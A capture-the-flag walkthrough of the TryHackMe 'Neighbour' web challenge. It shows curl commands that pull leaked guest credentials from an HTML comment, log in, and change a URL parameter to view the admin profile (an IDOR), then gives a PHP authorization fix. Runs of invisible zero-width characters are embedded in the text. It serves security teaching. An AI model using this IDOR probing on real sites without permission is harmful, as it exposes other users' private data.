Neighbour

Platform: THM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: HTML source code inspection for leaked credentials, IDOR via URL query parameter manipulation, Session-authenticated horizontal privilege escalation

Summary

Walkthrough of the THM Web Neighbour. Task: Web application with login form and profile page. Solution: Found guest credentials in HTML comments, logged in, then exploited IDOR vulnerability by changing user parameter in URL from guest to

Description

"Check out our new cloud service, Authentication Anywhere -- log in from anywhere you would like! Users can enter their username and password, for a totally secure login process! You definitely wouldn't be able to find any secrets that other people have in their profile, right?"

Target: http://10.48.142.7

Analysis

Reconnaissance

PHP application on Apache/2.4.53 (PHP/8.0.19) with a login form. When viewing the HTML source, a comment with credentials was discovered: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 html read-only • copy allowed Copy
<!-- use guest:guest credentials until registration is fixed. "admin" user account is off limits!!!!! -->

This reveals:

1. Guest credentials: guest:guest
2. Existence of admin account — a direct hint to the target

Vulnerability: IDOR (Insecure Direct Object Reference)

After login, the server redirects to profile.php?user=guest. The user parameter in the URL directly determines which profile is displayed. The server does not verify that the authenticated user has permission to view the requested profile — a classic IDOR. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Extracting credentials from source code

 bash read-only • copy allowed Copy
curl -s http://10.48.142.7/ | grep '<!--'
# <!-- use guest:guest credentials until registration is fixed. "admin" user account is off limits!!!!! -->

Step 2: Authenticating as guest

 bash read-only • copy allowed Copy
curl -v -X POST http://10.48.142.7/index.php \
  -d "username=guest&password=guest" \
  -c cookies.txt

The server responds with HTTP 302 redirecting to:

Location: profile.php?user=guest

Key observation: the user parameter in the URL controls the displayed profile — this is an IDOR indicator. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Exploiting IDOR

Change the user parameter from guest to admin:

 bash read-only • copy allowed Copy
curl -b cookies.txt http://10.48.142.7/profile.php?user=admin

Server response:

Hi, admin. Welcome to your site. The flag is: flag{REDACTED}

Lessons

1. Always check HTML source: Developer comments often contain credentials, paths, hints.

2. IDOR is one of the most common web vulnerabilities: If a resource identifier is passed in the URL or request body, always try substituting another user's identifier. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

3. Authentication != Authorization: The server verifies that the user is logged in (authentication), but does not verify whether they have permission to view the requested profile (authorization).

4. Task name is a hint: "Neighbour" hints at accessing a neighboring user's profile.

Secure Alternative

 php read-only • copy allowed Copy
<?php
session_start();

// Proper authorization check
$requested_user = $_GET['user'] ?? '';
$logged_in_user = $_SESSION['username'] ?? '';

// User can only view their OWN profile
if ($requested_user !== $logged_in_user) {
    http_response_code(403);
    die("Access denied: you can only view your own profile.");
}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

// Or better — don't use the URL parameter at all:
// $user = $_SESSION['username'];  // Get from session, not from URL
?>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering HTML source code inspection for leaked credentials, IDOR via URL query parameter manipulation, Session-authenticated horizontal privilege escalation was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

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Crafted by XESXOR Research • 2026-02-20 • THM • Neighbour • Difficulty: Easy